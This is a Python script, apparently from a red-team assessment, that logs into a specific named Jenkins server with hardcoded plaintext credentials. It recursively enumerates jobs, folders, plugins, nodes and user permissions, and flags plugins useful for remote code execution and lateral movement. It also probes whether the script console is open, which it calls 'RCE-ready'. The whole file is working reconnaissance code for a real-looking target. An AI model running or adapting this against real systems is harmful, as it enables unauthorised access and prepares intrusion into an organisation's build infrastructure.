#!/usr/bin/env python3
"""Jenkins L2 deep scope enumeration — recursive jobs, plugins, nodes,
permissions (script console), user identity. All read-only.
Saves: L2/jobs.json, L2/plugins.json, L2/identity.json, L2/script_console_check.txt
"""
import json, time
from playwright.sync_api import sync_playwright

USERNAME = "guilhermesilva"
PASSWORD = "123456"
TARGET = "https://jenkins.salesforce.ipiranga.io/"
OUTDIR = "/root/ir-assessment/redteam/jenkins_salesforce_ipiranga_io/L2"

def main():
    with sync_playwright() as p:
        browser = p.firefox.launch(headless=True)
        context = browser.new_context(ignore_https_errors=True)
        page = context.new_page()

        # Login
        page.goto(TARGET + "login?from=%2F", wait_until="networkidle", timeout=30000)
        page.fill('input[name="j_username"]', USERNAME)
        page.fill('input[name="j_password"]', PASSWORD)
        page.click('button[name="Submit"]')
        time.sleep(3)
        print(f"Logged in — URL: {page.url}")

        def fetch_json(url):
            """Fetch a JSON API endpoint using the authenticated browser session."""
            page.goto(url, wait_until="networkidle", timeout=15000)
            time.sleep(0.5)
            body = page.query_selector('body')
            if body:
                txt = body.inner_text()
                try:
                    return json.loads(txt)
                except:
                    return txt
            return None

        # 1. Full recursive jobs tree
        print("\n=== L2: Recursive jobs enumeration ===")
        jobs = fetch_json(TARGET + "api/json?tree=jobs[name,url,color,buildable,displayName],views[name,url]")
        with open(f"{OUTDIR}/jobs.json", "w") as f:
            json.dump(jobs, f, indent=2)
        print(f"Top-level jobs saved ({len(jobs.get('jobs',[]))} items)")
        for j in jobs.get("jobs", []):
            print(f"  [{j.get('_class','').split('.')[-1]}] {j['name']} → {j['url']}")

        # 2. Recursive folder contents
        print("\n=== L2: Folder contents (recursive) ===")
        all_jobs = []
        def enum_folder(folder_url, depth=0):
            try:
                data = fetch_json(folder_url + "api/json?tree=jobs[name,url,color,buildable,displayName,_class]")
                if isinstance(data, dict) and "jobs" in data:
                    for j in data["jobs"]:
                        j["_depth"] = depth
                        j["_parent"] = folder_url
                        all_jobs.append(j)
                        indent = "  " * (depth + 1)
                        cls = j.get("_class","").split(".")[-1]
                        print(f"{indent}[{cls}] {j['name']} ({j.get('color','?')})")
                        # Recurse into subfolders
                        if "Folder" in j.get("_class",""):
                            enum_folder(j["url"], depth + 1)
            except Exception as e:
                print(f"  ERROR enum_folder: {e}")

        for j in jobs.get("jobs", []):
            if "Folder" in j.get("_class",""):
                enum_folder(j["url"])

        with open(f"{OUTDIR}/all_jobs_recursive.json", "w") as f:
            json.dump(all_jobs, f, indent=2)
        print(f"\nTotal recursive jobs: {len(all_jobs)}")

        # 3. Plugins
        print("\n=== L2: Plugins ===")
        plugins = fetch_json(TARGET + "pluginManager/api/json?depth=1")
        with open(f"{OUTDIR}/plugins.json", "w") as f:
            json.dump(plugins, f, indent=2)
        plugin_list = plugins.get("plugins", []) if isinstance(plugins, dict) else []
        print(f"Plugins: {len(plugin_list)}")
        # High-value plugins for RCE/lateral
        high_value = ["script-security", "ssh-agent", "credentials-binding", "workflow-aggregator",
                      "git", "github", "aws-credentials", "docker", "kubernetes", "pipeline"]
        for pv in plugin_list:
            pname = pv.get("shortName","")
            if any(hv in pname for hv in high_value):
                print(f"  [HIGH] {pname} v{pv.get('version','?')} enabled={pv.get('enabled')}")

        # 4. Nodes
        print("\n=== L2: Nodes ===")
        nodes = fetch_json(TARGET + "computer/api/json")
        with open(f"{OUTDIR}/nodes.json", "w") as f:
            json.dump(nodes, f, indent=2)
        comp_list = nodes.get("computer", []) if isinstance(nodes, dict) else []
        print(f"Nodes: {len(comp_list)}")
        for n in comp_list:
            print(f"  {n.get('displayName','?')} ({n.get('_class','').split('.')[-1]}) executors={n.get('numExecutors','?')} offline={n.get('offline','?')}")

        # 5. User identity
        print("\n=== L2: User identity ===")
        identity = fetch_json(TARGET + "me/api/json")
        with open(f"{OUTDIR}/identity.json", "w") as f:
            json.dump(identity, f, indent=2)
        if isinstance(identity, dict):
            print(f"  User: {identity.get('id','?')} / {identity.get('fullName','?')}")
            print(f"  Permissions: {identity.get('permissions',[])}")

        # 6. Script console access (L2 RCE-ready check — GET only, no exec)
        print("\n=== L2: Script Console access (read-only check) ===")
        page.goto(TARGET + "script", wait_until="networkidle", timeout=15000)
        time.sleep(1)
        sc_url = page.url
        sc_title = page.title()
        sc_content = page.content()
        print(f"  /script URL: {sc_url}")
        print(f"  /script Title: {sc_title}")
        if "Script Console" in sc_title or "Script Console" in sc_content:
            print("  RESULT: Script Console ACCESSIBLE = RCE-ready (admin role)")
        elif "login" in sc_url.lower():
            print("  RESULT: /script redirected to login (not admin)")
        elif "403" in sc_content or "Forbidden" in sc_content:
            print("  RESULT: /script → 403 Forbidden (no Overall/Administer)")
        else:
            print(f"  RESULT: Unknown — {sc_content[:200]}")
        with open(f"{OUTDIR}/script_console_check.txt", "w") as f:
            f.write(f"URL: {sc_url}\nTitle: {sc_title}\nAccessible: {'Script Console' in sc_title}\n")

        # 7. WhoAmI (anonymous check to confirm we're authed)
        print("\n=== L2: WhoAmI ===")
        whoami = fetch_json(TARGET + "whoAmI/api/json")
        if isinstance(whoami, dict):
            print(f"  anonymous={whoami.get('anonymous')} authenticated={whoami.get('authenticated')} name={whoami.get('name')}")

        browser.close()
        print("\n=== L2 enumeration complete ===")

if __name__ == "__main__":
    main()
